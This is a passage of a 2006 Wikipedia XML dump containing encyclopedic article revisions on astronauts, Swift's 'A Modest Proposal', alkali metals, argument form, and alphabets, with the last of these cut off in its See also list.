      <id>41903543</id>
      <timestamp>2006-03-02T14:26:20Z</timestamp>
      <contributor>
        <username>Tom harrison</username>
        <id>42168</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/82.249.117.123|82.249.117.123]] ([[User talk:82.249.117.123|talk]]) to last version by Orville Eastland</comment>
      <text xml:space="preserve">[[image:Astronaut-EVA.jpg|right|300px|thumb|U.S. Space Shuttle astronaut [[Bruce McCandless II]] using a manned maneuvering unit (MMU) outside the ''Challenger'' in 1984. Picture courtesy NASA]]

An '''astronaut''', '''cosmonaut''' ([[Russian language|Russian]]: космона́вт), '''spationaut''' or '''taikonaut''' (''taikongren'', 太空人) is a person who [[space travel|travels into space]], or who makes a career of doing so. The criteria for determining who has achieved [[human spaceflight]] vary (see [[edge of space]]). In the [[United States]], people who travel above an altitude of 50 miles (80&amp;nbsp;km) are designated as astronauts. The [[Fédération Aéronautique Internationale|FAI]] defines spaceflight as over 100 km (61 miles). As of [[October 12]], [[As of 2005|2005]], a total of 448 humans have reached space according to the U.S. definition, 442 people qualify under the FAI definition, while 438 people have reached [[Earth]] orbit or beyond. These individuals have spent over 28,000 crew-days (or a cumulative total of 76.7 years) in space including over 100 crew-days of spacewalks. A person who has traveled in space is said to hold [[astronaut wings]]. Astronauts from at least [[Timeline of astronauts by nationality|34 countries]] have gone into space.

==International variations==
By convention, a space traveller employed by the [[Russian Aviation and Space Agency]] or its [[Soviet space program|Soviet]] predecessor is called a '''cosmonaut'''. &quot;Cosmonaut&quot; is an [[anglicisation]] of the [[Russia]]n word космонавт ''(kosmonavt)'', which in turn derives from the [[Greek language|Greek]] words ''kosmos'' (&quot;universe&quot;) and ''nautes'' (&quot;sailor&quot;).

In the [[United States|USA]], a space traveller is called an '''astronaut'''. The term derives from the Greek words ''ástron'' (&quot;star&quot;) and ''nautes,'' (&quot;sailor&quot;). For the most part, &quot;cosmonaut&quot; and &quot;astronaut&quot; are synonyms in all languages, and the usage of choice is often dictated by  political reasons.  However in the United States, the term &quot;astronaut&quot; is typically applied to the individual as soon as training begins, while in Russia, an individual is not labeled a cosmonaut until successful space flight. The first known use of the term was by [[Neil R. Jones]] in his short story ''The Death's Head Meteor'' in [[1930]]. On [[March 14]], [[1995]] astronaut [[Norman Thagard]] became the first American to ride to space on board a Russian launch vehicle, arguably becoming the first American cosmonaut in the process.

[[Europe]]an (outside of the [[UK]]) space travellers are sometimes, especially in [[French language|French]]-speaking countries, called '''spationauts''' (a [[hybrid word]] formed from the [[Latin]] ''spatium'', &quot;space&quot;, and Greek ''nautes'', &quot;sailor&quot;). Apart from the Soviet Union, Europe has not yet produced manned spacecraft, but has sent men and women into space in cooperation with Russia and the United States.

'''Taikonaut''' is sometimes used in English for astronauts from [[China]] by Western news media. The term was coined in May 1998 by Chiew Lee Yih (赵里昱) from [[Malaysia]], who used it first in [[newsgroup]]s. Almost simultaneously, Chen Lan coined it for use in the Western [[mass media|media]] based on the term ''tàikōng'' (太空, literally &quot;great emptiness&quot;), [[Chinese language|Chinese]] for &quot;[[outer space|space]]&quot;. In Chinese itself, however, a single term ''yǔháng yuán'' (宇航员, &quot;universe navigator&quot;) has long been used for astronauts. The closest term using ''taikong'' is a [[colloquialism]] ''tàikōng rén'' (太空人, &quot;space person&quot;), which refers to people who have actually been in space. Official English texts issued by the Chinese government use ''astronaut'' ({{zh-sp|s=航天员|p=hángtiān yuán}}).

==Space milestones==
[[Image:GagarinPortrait.jpg|right|thumb|200px|[[Yuri Gagarin]] ]]
[[Image:Tereshkova.jpg|right|thumb|200px|[[Valentina Tereshkova]] ]]

The first attempt ever in human history to use rocket for a spaceflight was done in the [[16th century]] by a Chinese [[Ming dynasty]] official, a skilled stargazer named [[Wan Hu]].&lt;sup&gt;[http://edition.cnn.com/2003/TECH/space/09/30/china.wanhu/index.html]&lt;/sup&gt; This attempt was not successful.

The first cosmonaut was [[Yuri Gagarin]], who was launched into space on [[April 12]] [[1961]] aboard [[Vostok 1]]. The first woman cosmonaut was [[Valentina Tereshkova]], launched into space in June [[1963]] aboard [[Vostok 6]]. [[Alan Shepard]] became the first American in space in May 1961. [[Vladimir Remek]] became the first non-Soviet European in space in [[1978]] on a Russian [[Soyuz launch vehicle|Soyuz]] rocket. On [[July 23]] [[1980]] [[Pham Tuan]] of Vietnam became the first [[Asian]] in space when he flew aboard [[Soyuz 37]]. Also in 1980, [[Arnaldo Tamayo Méndez]] became the first person of [[African]] descent to fly in space. (The first person born in Africa to fly in space was [[Patrick Baudry]].) In June [[1985]] [[Shannon Lucid]] became the first Chinese born person in space. In [[2002]] [[Mark Shuttleworth]] became the first citizen of an African country to fly in space. On [[15 October]] [[2003]] [[Yang Liwei]] became China's first astronaut on the [[Shenzhou 5]] spacecraft. The first mission to orbit the moon was ''[[Apollo 8]]'' which included [[William Anders]] - who was born in Hong Kong making him the first Asian-born astronaut in [[1968]].

The youngest person to fly in space is [[Gherman Titov]], who was roughly 26 years old when he flew [[Vostok 2]], and the oldest is [[John Glenn]] who was 77 when he flew on [[STS-95]]. The longest stay in space was 438 days by [[Valeri Polyakov]]. [[As of 2005]], the most spaceflights by an individual astronaut was seven, a record held by both [[Jerry L. Ross]] and [[Franklin Chang-Diaz]]. The furthest distance from Earth an astronaut has traveled was 401&amp;nbsp;056&amp;nbsp;km (during the [[Apollo 13]] emergency).

The first non-governmental astronaut was [[Byron K. Lichtenberg]], an [[Massachusetts Institute of Technology|MIT]] researcher who flew on [[Space Shuttle program|Space Shuttle]] mission [[STS-9]] in 1983. In [[December 1990]], [[Toyohiro Akiyama]] became the first commercial space‐farer as a reporter for [[Tokyo Broadcasting System|TBS]] who paid for his flight. The first self‐funded [[space tourist]] was [[Dennis Tito]] on [[28 April]] [[2001]], while the first astronaut to fly on an entirely privately-funded mission was [[Mike Melvill]], on [[SpaceShipOne flight 15P]], though this flight was sub‐orbital.

In the United States, persons selected as astronaut candidates receive silver [[Astronaut wings]]. Once they have flown in space they receive gold Astronaut wings. The [[United States Air Force]] also presents Astronaut wings to its pilots who exceed 50 miles (80 km) in altitude.

== International astronauts ==
[[Image:ZeroG.jpg|right|thumb|400px|Astronauts on the International Space Station. British astronaut [[Michael Foale]] can be seen exercising in the foreground]]

Up until the end of the [[1970s]] only Americans and Soviets were active astronauts. In [[1976]] the Soviets started the [[Intercosmos]] program with a first group of 6 cosmonauts from fellow [[Eastern Bloc]] countries and [[Cuba]], a second group started training in [[1978]]. At about the same time in [[1978]] the [[European Space Agency]] selected 4 astronauts to train for the first [[Spacelab]] mission on board of the [[Space Shuttle]]. In [[1980]] [[France]] started their own selection of astronauts, followed in [[1982]] by [[Germany]], in [[1983]] by the [[Canadian space program]], in [[1985]] by [[Japan]] and [[Italy]] in [[1988]]. Several international payload specialists were selected for the Space Shuttle, and also later for international [[Soyuz programme|Soyuz]] missions of Russia. In [[1998]] the [[European Space Agency]] formed a single astronaut corps of 18 by dissolving the former national corps of France, Germany and Italy. The [[United Kingdom]] does not contribute to ESA's [[human spaceflight]] programme and so its citizens must receive training from either the United States or Russia if they wish to become astronauts.

== Astronaut training==

The first astronauts, both in the USA and USSR, tended to be jet fighter pilots, often [[test pilot|test pilots]], from military backgrounds. U.S. military astronauts receive a special qualification badge, known as the [[Astronaut Badge]] upon completion of Astronaut training and participation in a space flight.

== Astronaut deaths ==
[[Image:DickScobee.jpeg|frame|[[Dick Scobee]], commander of the Space Shuttle Challenger during the [[STS-51-L]] mission. ]]
To date, eighteen astronauts have been killed on space missions, and at least ten more have been killed in ground-based training accidents. ''See also: [[space disaster]].''

==Trivia==
Many people who claim the [[Apollo moon landing hoax accusations|Apollo moon landings were faked]] often call the astronauts ''astroNOTs''.

==See also==

* [[List of astronauts by name]]
* [[List of astronauts by selection]]
* [[Timeline of astronauts by nationality]]
* List of human spaceflights: [[List of human spaceflights, 1961-1986|1961-1986]], [[List of human spaceflights, 1987-1999|1987-1999]], [[List of human spaceflights, 2000-present|2000-present]].
* [[List of spacewalks and moonwalks]]
* [[X-15]]
* [[Spaceflight records]]
* [[Shirley Thomas (USC professor)|Shirley Thomas]], author of ''Men of Space'' series (1960-1968)

==External links==
* [http://www.astronautix.com Encyclopedia Astronautica] 

* [http://www.astronautix.com/astrogrp/phaonaut.htm Encyclopedia Astronautica: Phantom cosmonauts]


[[Category:Astronauts|*]]
[[Category:Transportation occupations]] 
[[Category:Science occupations]]

[[af:Ruimtevaarder]]
[[bg:Космонавт]]
[[bn:মহাশূণ্যচারী]]
[[ca:Astronauta]]
[[cv:Космонавт]]
[[cs:Kosmonaut]]
[[da:Astronaut]]
[[de:Raumfahrer]]
[[es:Astronauta]]
[[eo:Kosmonaŭto]]
[[fr:Spationaute]]
[[id:Astronaut]]
[[it:Astronauta]]
[[he:טייס חלל]]
[[la:Astronauta]]
[[hu:Űrhajós]]
[[nl:Ruimtevaarder]]
[[ja:宇宙飛行士]]
[[no:Astronaut]]
[[pl:Astronauta]]
[[pt:Astronauta]]
[[ru:Космонавт]]
[[simple:Astronaut]]
[[sk:Kozmonaut]]
[[sl:Astronavt]]
[[fi:Astronautti]]
[[sv:Rymdfarare]]
[[th:นักบินอวกาศ]]
[[zh:宇航员]]</text>
    </revision>
  </page>
  <page>
    <title>A Modest Proposal</title>
    <id>665</id>
    <revision>
      <id>41713510</id>
      <timestamp>2006-03-01T06:08:06Z</timestamp>
      <contributor>
        <ip>58.166.74.32</ip>
      </contributor>
      <text xml:space="preserve">'''''A Modest Proposal: For Preventing the Children of Poor People in Ireland from Being a Burden to Their Parents or Country, and for Making Them Beneficial to the Publick''''', commonly referred to as '''''A Modest Proposal''''', is a [[satire|satirical]] [[pamphlet]] written by [[Jonathan Swift]] in [[1729]]. The work has now become one of the epitomes of satire, and the modern phrase &quot;A modest proposal&quot; derives from the work.

==Theme==

The work is written in [[first person]] [[Point of view (literature)|point of view]]; however, the narrator should not be confused with Swift himself, because the writer is merely a [[persona]]. He argues, through economic reasoning as well as a self-righteous moral stance, for a way to turn the problem of squalor among the [[Catholic]]s in [[Ireland]] into its own solution. His proposal is to fatten up the undernourished children and feed them to [[Ireland]]'s rich land-owners. Children of the poor could be sold into a meat market at the age of one thus combating [[overpopulation]] and [[unemployment]], sparing families the expense of child-rearing while providing them with a little extra income, improving the culinary experience of the wealthy, and contributing to the overall economic well-being of the nation.

He offers statistical support for his assertions and gives specific data about the number of children to be sold, their weight and price, and the projected consumption patterns. He suggests some recipes for preparing this delicious new meat, and he feels sure that innovative cooks will be quick to generate more. He also anticipates that the practice of selling and eating children will have positive effects on family morality: husbands will treat their wives with more respect, and parents will value their children in ways hitherto unknown. His conclusion is that the implementation of this project will do more to solve Ireland's complex social, political, and economic problems than any other measure that has been proposed.

This is widely believed to be the greatest example of sustained [[irony]] in the history of the English language.

==Reactions==
The satirical intent of ''A Modest Proposal'' was misunderstood by many of Swift's peers, and he was harshly criticized for writing prose in such exceptionally &quot;[[Taste (sociology)|bad taste]]&quot;. He came close to losing his [[patronage]] because of this essay. The misunderstanding of the intent of the satirical attack came about largely because of the disparity between the satirical intent of the [[cannibal|cannibalistic]] proposal and the sincere tone of the narrative voice.

==Modern usage==
In modern usage, the phrase &quot;modest proposal&quot; has come to indicate a proposal that is anything but modest.  Such a 'proposal' may serve to advance a cause or [[Logical argument|argument]], by promoting discussion on the merits of the argument's opposite.

==Other examples of &quot;modest proposals&quot;==

*[http://sniggle.net/lithoax.php Modest Proposals and other literary hoaxes]
*[[Report From Iron Mountain]]
*[[Sokal Affair]]
*[[Miscegenation]] (origin of the word)
*[[Dihydrogen monoxide]]
*[[Jack Thompson]], attorney, has been criticised for writing an open letter similar to Swift's piece, one that included a promise of donating money to charity.

==External links==
{{wikisource}}
* [http://www.gutenberg.org/etext/1080 A Modest Proposal (Gutenberg)]
* [http://librivox.org/a-modest-proposal-by-jonathan-swift/ Free audiobook] from [http://librivox.org/ LibriVox] 
* [http://sniggle.net/lithoax.php sniggle.net: Modest Proposals]

[[Category:Satire]]
[[Category:Essays|Modest Proposal, A]]
[[Category:Non-fictional British literature|Modest Proposal, A]]
[[Category:1729 books|Modest Proposal, A]]
[[sv:Ett anspråkslöst förslag]]</text>
    </revision>
  </page>
  <page>
    <title>Alkali metal</title>
    <id>666</id>
    <revision>
      <id>41685752</id>
      <timestamp>2006-03-01T01:29:33Z</timestamp>
      <contributor>
        <username>Ummit</username>
        <id>328950</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{| align=&quot;right&quot; style=&quot;margin:0 0 1em 1em;&quot;
! [[Periodic table group|Group]]
! [[Group 1 element|1]]
|-
! [[Periodic table period|Period]]
| &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
|-
! [[Period 2 element|2]]
| {{element cell| 3|Lithium|Li| |Solid|Alkali metals|Primordial}}
|-
! [[Period 3 element|3]]
| {{element cell|11|Sodium|Na| |Solid|Alkali metals|Primordial}}
|-
! [[Period 4 element|4]]
| {{element cell|19|Potassium|K| |Solid|Alkali metals|Primordial}}
|-
! [[Period 5 element|5]]
| {{element cell|37|Rubidium|Rb| |Solid|Alkali metals|Primordial}}
|-
! [[Period 6 element|6]]
| {{element cell|55|Caesium|Cs| |Solid|Alkali metals|Primordial}}
|-
! [[Period 7 element|7]]
| {{element cell|87|Francium|Fr| |Solid|Alkali metals|Natural radio}}
|}

The '''alkali metals''' are the [[chemical series|series]] of [[chemical element|elements]] in [[Periodic table group|Group 1]] ([[International Union of Pure and Applied Chemistry|IUPAC]] style) of the [[periodic table]] (excluding [[hydrogen]] in all but one [[Metallic_hydrogen|rare circumstance]]): [[lithium]] ('''Li'''), [[sodium]] ('''Na'''), [[potassium]] ('''K'''), [[rubidium]] ('''Rb'''), [[caesium]] ('''Cs'''), and [[francium]] ('''Fr'''). They are all highly reactive and are never found in elemental form in nature.

The alkali metals are silver-colored (caesium has a golden tinge), soft, low-[[density]] [[metal]]s, which react readily with [[halogen]]s to form [[ionic salt]]s, and with [[water (molecule)|water]] to form strongly [[alkali|alkaline]] [[Base (chemistry)|(basic)]] [[hydroxide]]s. These elements all have one [[electron]] in their outermost shell, so the energetically preferred state of achieving a filled [[electron shell]] is to lose one electron to form a singly [[electric charge|charged]] positive [[ion]].  

[[Hydrogen]], with a solitary electron, is sometimes placed at the top of Group 1, but it is not an alkali metal (except under extreme circumstances as [[metallic hydrogen]]); rather it exists naturally as a diatomic [[gas]]. Removal of its single electron requires considerably more energy than removal of the outer electron for the alkali metals.  As in the [[halogen]]s, only one additional electron is required to fill in the outermost shell of the hydrogen atom, so hydrogen can in some circumstances behave like a halogen, forming the negative [[hydride]] ion. Binary compounds of hydride with the alkali metals and some [[transition metal]]s have been prepared.

Under extremely high [[pressure]], such as is found at the core of [[Jupiter]], hydrogen does become metallic and behaves like an alkali metal; see [[metallic hydrogen]].


{|style=&quot;text-align: center;&quot; border=&quot;1&quot; cellpadding=&quot;2&quot; 
|+ '''Explanation of above periodic table slice:'''
| bgcolor=&quot;{{element color/Alkali metals}}&quot; | [[Alkali metal]]s
| atomic number in &lt;font color=&quot;{{element color/Solid}}&quot;&gt;{{element color/Solid}}&lt;/font&gt; are solids
| style=&quot;border:{{element frame/Primordial}};&quot; | solid borders are [[primordial element]]s (older than the [[Earth]])
| style=&quot;border:{{element frame/Natural radio}};&quot; | dashed borders are naturally [[radioactive decay|radioactive element]]s with no isotopes older than the Earth
|}


{{PeriodicTablesFooter}} 
&lt;!--Category--&gt;
[[Category:Alkali metals]] [[Category:Periodic table]]

&lt;!--Interlanguage links--&gt;

[[ar:فلز قلوي]]
[[bg:Група 1А на периодичната система]]
[[bs:Alkalni metali]]
[[ca:Metall alcalí]]
[[da:Alkalimetal]]
[[de:Alkalimetalle]]
[[es:Alcalino]]
[[eo:Alkala metalo]]
[[eu:Metal alkalino]]
[[fr:Métal alcalin]]
[[gl:Alcalino]]
[[ko:알칼리 금속]]
[[hr:Alkalijski metali]]
[[is:Alkalímálmur]]
[[it:Metalli alcalini]]
[[he:מתכת אלקלית]]
[[la:Metallum alkalicum]]
[[lv:Sārmu metāli]]
[[lt:Šarminiai metalai]]
[[mk:Алкален метал]]
[[ms:Logam Alkali]]
[[nl:Alkalimetaal]]
[[ja:第1族元素]]
[[no:Alkalimetall]]
[[nn:Alkalimetall]]
[[pl:Metale alkaliczne]]
[[pt:Alcalino-metálicos]]
[[ro:Metal alcalin]]
[[sk:Alkalické kovy]]
[[sl:Alkalijska kovina]]
[[sr:Алкални метали]]
[[fi:Alkalimetalli]]
[[sv:Alkalimetall]]
[[th:โลหะแอลคาไล]]
[[vi:Kim loại kiềm]]
[[tr:Alkali metal]]
[[zh:碱金属]]</text>
    </revision>
  </page>
  <page>
    <title>Argument form</title>
    <id>668</id>
    <revision>
      <id>19406655</id>
      <timestamp>2005-07-22T23:16:01Z</timestamp>
      <contributor>
        <username>KSchutte</username>
        <id>295931</id>
      </contributor>
      <text xml:space="preserve">In [[logic]], the '''argument form''' or ''test form'' of an [[logical argument|argument]] results from replacing the different words, or sentences, that make up the argument with letters, along the lines of [[algebra]]; the letters represent logical ''[[variable]]s''. The ''sentence forms'' which classify argument forms of common arguments important are studied in [[college logic]].

Here is an example of an argument:

'''A''' All humans are mortal.  Socrates is human.  ''Therefore'', Socrates is mortal.

We can rewrite argument A by putting each sentence on its own line:

'''B'''
:All humans are mortal.
:Socrates is human.
:''Therefore'', Socrates is mortal.

To demonstrate the important notion of the ''form'' of an argument, substitute letters for similar items throughout '''B''':

'''C'''
:All S are P.
:''a'' is S.
:''Therefore'', ''a'' is P.

All we have done in '''C''' is to put 'S' for 'human' and 'humans', 'P' for 'mortal', and '''a''' for 'Socrates'; what results, '''C''', is the ''form'' of the original argument in '''A'''.  So argument form '''C''' is the form of argument '''A'''.  Moreover, each individual sentence of '''C''' is the ''sentence'' ''form'' of its respective sentence in '''A'''.

Attention is given to argument and sentence form, because ''form is what makes an argument [[validity|valid]] or [[cogency|cogent]]''. Some examples of valid arguments forms are [[modus ponens]], [[modus tollens]], and the [[disjunctive syllogism]]. Two invalid argument forms are [[affirming the consequent]] and [[denying the antecedent]].

==See also==

*[[analytic proposition]]
*[[synthetic proposition]]

[[Category:Logic]]</text>
    </revision>
  </page>
  <page>
    <title>Allotrope</title>
    <id>669</id>
    <revision>
      <id>15899195</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Allotropy]]
</text>
    </revision>
  </page>
  <page>
    <title>Alphabet</title>
    <id>670</id>
    <revision>
      <id>41872890</id>
      <timestamp>2006-03-02T07:19:07Z</timestamp>
      <contributor>
        <ip>210.213.187.17</ip>
      </contributor>
      <comment>+tl</comment>
      <text xml:space="preserve">{{otheruses}}

An '''alphabet''' is a complete standardized set of ''letters'' &amp;mdash; basic written symbols &amp;mdash; each of which roughly represents a [[phoneme]] of a spoken [[language]], either as it exists now or as it may have been in the past.  There are other [[writing system|systems of writing]] such as [[logogram]]s, in which each symbol represents a [[morpheme]], or word, and [[syllabary|syllabaries]], in which each symbol represents a syllable.

The word &quot;alphabet&quot; itself comes from [[alpha (letter)|alpha]] and [[beta (letter)|beta]], the first two symbols of the [[Greek alphabet]].  There are dozens of alphabets in use today.  Most of them are '[[linear writing|linear]]', which means that they are made up of lines.  Notable [[non-linear writing|exceptions]] are the [[Braille|Braille alphabet]], [[Morse code]] and the [[cuneiform script|cuneiform]] alphabet of the ancient city of [[Ugarit]].
{{alphabet}}
==Types==

The term &quot;alphabet&quot; is currently used by linguists both in a wider and in a narrower sense. In the wider sense, the term refers to any script that is segmental on the [[phoneme]] level, i.e. that has separate glyphs for individual sounds and not for larger units such as syllables or words. In the narrower sense, some scholars distinguish true &quot;alphabets&quot; from two other subtypes, [[abjad]]s and [[abugida]]s. The three types differ from each other in the way vowels are treated in relation to consonants. Abjads record only consonants and leave vowels (or most vowels) unexpressed; in Abugidas the vowels are indicated by diacritical marks or systematic modification of the form of the consonants. In alphabets in the narrow sense, both consonants and vowels have separate symbols. The first alphabet in the wider sense was the [[Proto-Canaanite alphabet]], an [[abjad]], which through its successor [[Phoenician alphabet|Phoenician]] became the ancestor of all later alphabets. The first alphabet in the narrow sense was the [[Greek alphabet]].

Examples of present-day abjads are the [[Arabic script|Arabic]] and [[Hebrew script]]s; true alphabets include [[Latin alphabet|Latin]], [[Cyrillic]], and Korean [[Hangul]]; and abugidas are used to write [[Amharic language|Amharic]], [[Hindi language|Hindi]], and [[Thai language|Thai]]. The [[Canadian Aboriginal Syllabics]] are also an abugida rather than a syllabary, as a glyph stands for a consonant and is rotated to represent the vowel, rather than each consonant-vowel combination being represented by a separate glyph, as in a true syllabary. 

The boundaries between these three types are not always clear-cut. For example, Iraqi [[Kurdish language|Kurdish]] is written in the [[Arabic script]], which is normally an abjad. However, in Kurdish, writing the vowels is mandatory, and full letters are used, so the script is a true alphabet. Other languages may use a Semitic abjad with mandatory vowel diacritics, effectively making them abugidas. On the other hand, the [[Phagspa]] script of the [[Mongol Empire]] was based closely on the [[Tibetan script|Tibetan abugida]], but all vowel marks were written after the preceding consonant rather than as diacritic marks. Although short ''a'' was not written, as in the abugidas, one could argue that the linear arrangement made this a true alphabet. Conversely, the vowel marks of the [[Amharic_language#Amharic_Abugida_Symbols_.28.22Fidel.22_.E1.8D.8A.E1.8B.B0.E1.88.8D.29|Amharic abugida]] have been so completely assimilated into their consonants that the system is learned as a [[syllabary]] rather than as a segmental script. Even more extreme, the Pahlavi abjad became [[logogram|logographic]]. (See below.)

Thus the primary classification of alphabets reflects how they treat vowels. For [[Tone (linguistics)|tonal languages]], further classification can be based on the treatment of tone, though there are as yet no names to distinguish the various types. Some alphabets disregard tone entirely, especially when it does not carry a heavy functional load, as in [[Somali language|Somali]] and many other languages of Africa and the Americas. Such scripts are to tone what abjads are to vowels. Most commonly, tones are indicated with diacritics, the way vowels are treated in abugidas. This is the case for [[Vietnamese alphabet|Vietnamese]] (a true alphabet) and [[Thai alphabet|Thai]] (an abugida). In Thai, tone is determined primarily by the choice of consonant, with diacritics for disambiguation. In the [[Pollard script]] (an abugida), vowels are indicated by diacritics, but the placement of the vowel relative to the consonant indicates the tone.  More rarely, a script has separate letters for the tones, as is the case for [[Hmong pronunciation|Hmong]] and [[Zhuang language|Zhuang]]. For many of these languages, regardless of whether letters or diacritics are used, the most common tone is not marked, just as the most common vowel is not marked in Indic abugidas. 

Alphabets can be quite small. The Book [[Pahlavi]] script, an abjad, had only twelve letters at one point, and may have had even fewer later on. Today the [[Rotokas alphabet]] has only twelve letters. (The [[Hawaiian language|Hawaiian]] alphabet is sometimes claimed to be as small, but it actually consists of 18 letters, including the [[Okina|ʻokina]] and five long vowels.) While Rotokas has a small alphabet because it has few phonemes to represent (just eleven), Book Pahlavi was small because many letters had been ''conflated'', that is, the graphic distinctions had been lost over time, and diacritics were not developed to compensate for this as they were in [[Arabic alphabet|Arabic]], another script that lost many of its distinct letter shapes. For example, a comma-shaped letter represented ''g, d, y, k,'' and ''j''. However, such simplifications can perversely make a script more complicated. In later Pahlavi [[papyrus|papyri]], up to half of the remaining graphic distinctions were lost, and the script could no longer be read as a sequence of letters at all, but had to be learned as word symbols &amp;ndash; that is, as [[logogram]]s like Egyptian [[Demotic Egyptian|Demotic]].

The largest segmental script is probably an abugida, [[Devanagari]]. When written in Devanagari, Vedic [[Sanskrit]] has an alphabet of 53 letters, including the ''visarga'' mark for final aspiration and special letters for ''kš'' and ''jñ'', though one of the letters is theoretical and not actually used. The Hindi alphabet must represent both Sanskrit and modern vocabulary, and so has been expanded to 58 with the ''khutma'' letters (letters with a dot added to represent sounds from Persian and English). 

The largest known abjad is [[Sindhi language|Sindhi]], with 51 letters. The largest true alphabets include [[Kabardian language|Kabardian]] and [[Abkhaz language|Abxaz]] (for [[Cyrillic]]), with 58 and 56 letters, respectively, and [[Slovak language|Slovak]] (for the [[Latin alphabet]]), with 46. However, these scripts either include di- and tri-graphs, similar to Spanish ''ch'', or [[diacritic]]s, like Slovak ''č''. The largest true alphabet where each letter is graphically independent is probably [[Georgian alphabet|Georgian]], with 41 letters. 

Syllabaries typically include 50 to 400 glyphs (though the [[Múra-Pirahã language]] of [[Brazil]] would require only 24 if tone were not indicated, and Rotokas 30), and the glyphs of logographic systems number from the hundreds to the thousands. Thus a simple count of the number of distinct symbols is an important clue to the nature of an unknown script.

It is not always clear what constitutes a distinct alphabet.  [[French language|French]] uses the same basic alphabet as English, but many of the letters can carry [[diacritic]] and other marks (for example, é, à or ô). In French, these marks are not considered to create additional letters.  However, in [[Icelandic language|Icelandic]], the accented letters (such as á, í and ö) are considered distinct letters of the alphabet.  Some adaptations of the Latin alphabet are augmented with [[ligature (typography)|ligatures]], such as [[æ]] in [[Old English language|Old English]] and [[Ou (letter)|&amp;#546;]] in [[Algonquian language|Algonquian]]; by borrowings from other alphabets, such as the [[thorn (letter)|thorn]] þ in [[Old English language|Old English]] and [[Icelandic language|Icelandic]], which came from the [[Futhark]] runes; and by modifying existing letters, such as the [[Eth (letter)|eth]] ð of Old English and Icelandic, which came from ''d''. Other alphabets only use a subset of the Latin alphabet, such as Hawaiian, or [[Italian language|Italian]], which only uses the letters ''j'', ''k'', ''x'', ''y'' and ''w'' for foreign words.

==Spelling==
{{details|Spelling}}

Each language may establish certain general rules that govern the association between letters and phonemes, but, depending on the language, these rules may or may not be consistently followed.  In a perfectly [[phonology| phonological]] alphabet, the phonemes and letters would correspond perfectly in two directions:  a writer could predict the spelling of a word given its pronunciation, and a speaker could predict the pronunciation of a word given its spelling.  However, languages often evolve independently of their writing systems, and writing systems have been borrowed for languages they were not designed for, so the degree to which letters of an alphabet correspond to phonemes of a language varies greatly from one language to another and even within a single language.

Languages may fail to achieve a one-to-one correspondence between letters and sounds in any of several ways:

* A language may represent a given phoneme with a combination of letters rather than just a single letter. Two-letter combinations are called [[digraph (orthography)|digraph]]s and three-letter groups are called [[trigraph (orthography)|trigraph]]s. [[Kabardian language|Kabardian]] uses a tesseragraph (four letters) for one of its phonemes.
* A language may represent the same phoneme with two different letters or combinations of letters.
* A language may spell some words with unpronounced letters that exist for historical or other reasons.
* Pronunciation of individual words may change according to the presence of surrounding words in a sentence.
* Different dialects of a language may use different phonemes for the same word.
* A language may use different sets of symbols or different rules for distinct sets of vocabulary items (such as the Japanese [[hiragana]] and [[katakana]] syllabaries, or the various rules in English for spelling words from Latin and Greek, or the original [[Germanic languages|Germanic]] vocabulary.

National languages generally elect to address the problem of dialects by simply associating the alphabet with the national standard.  However, with an international language with wide variations in its dialects, such as [[English language|English]], it would be impossible to represent the language in all its variations with a single phonetic alphabet.

Some national languages like [[Finnish language|Finnish]] have a very regular spelling system with a nearly one-to-one correspondence between letters and phonemes.  The [[Italian language|Italian]] verb corresponding to 'spell', ''compitare'', is unknown to many Italians because the act of spelling itself is almost never needed: each phoneme of Standard Italian is represented in only one way. However, pronunciation cannot always be predicted from spelling because certain letters are pronounced in more than one way. In standard Spanish, it is possible to tell the pronunciation of a word from its spelling, but not vice versa; this is because certain phonemes can be represented in more than one way, but a given letter is consistently pronounced. [[French language|French]], with its [[silent letter]]s and its heavy use of [[nasal vowel]]s and [[elision]], may seem to lack much correspondence between spelling and pronunciation, but its rules on pronunciation are actually consistent and predictable with a fair degree of accuracy.  At the other extreme, however, are languages such as English and [[Irish language|Irish]], where the spelling of many words simply has to be memorized as they do not correspond to sounds in a consistent way. For English, this is because the [[Great Vowel Shift]] occurred after the orthography was established, and because English has acquired a large number of loanwords at different times retaining their original spelling at varying levels.  However, even English has general rules that predict pronunciation from spelling, and these rules are successful most of the time.

The sounds of speech of all languages of the world can be written by a rather small universal phonetic alphabet. A standard for this is the [[International Phonetic Alphabet]].

==Collation==
{{details|Collation}}

An alphabet also serves to establish an ''order'' among letters that can be used for sorting entries in lists, called collating. Note that the order does not have to be constant among different languages using this alphabet; for examples see [[Latin alphabet#Collating in other languages|Latin alphabet: Collating in other languages]].

In recent years the [[Unicode]] initiative has attempted to collate most of the world's known writing systems into a single [[character encoding]]. As well as its primary purpose of standardising computer processing of non-Roman scripts, the Unicode project has provided a focus for script-related scholarship.

==The Alphabet effect==

Some communication theorists (notably those associated with the so-called &quot;Toronto school of communications&quot;, such as [[Marshall McLuhan]], [[Harold Innis]] and more recently [[Robert K. Logan]]) have advanced hypotheses to the effect that alphabetic scripts in particular have served to promote and encourage the skills of analysis, coding, decoding, and classification. This set of hypotheses may be known as &quot;the Alphabet effect&quot;, after the title of Logan's [[1986]] work. 

The theory claims that a greater level of abstraction is required due to the greater economy of symbols in alphabetic systems; and this abstraction needed to interpret phonemic symbols in turn has contributed in some way to the development of the societies which use it. Proponents of this theory hold that the development of alphabetic (as distinct to other types of) writing systems has made a significant impact on &quot;Western&quot; thinking and development because it introduced a new level of abstraction, analysis, and classification. McLuhan and Logan (1977) postulates that, as a result of these skills, the use of the alphabet created an environment conducive to the development of codified law, monotheism, abstract science, deductive logic, objective history, and individualism. According to Logan, &quot;All of these innovations, including the alphabet, arose within the very narrow geographic zone between the Tigris-Euphrates river system and the Aegean Sea, and within the very narrow time frame between 2000 B.C. and 500 B.C.&quot; (Logan 2004). 

However, many of these abstractions first occurred in societies which did not use an alphabet, such as the codified law of [[Hammurabi]] in [[Babylonia]], which predated similar codes in societies with the alphabet. Since the alphabet quickly spread to become nearly ubiquitous, it is difficult to trace cause and effect in this matter.

== See also ==

* [[Abecedarium]]
* [[Abjad]]
* [[Abugida]]
* [[Akshara]]
* [[Alphabetical order]]
* [[Alphabets derived from the Latin]]
* [[Artificial script]]s
* [[Character set]]
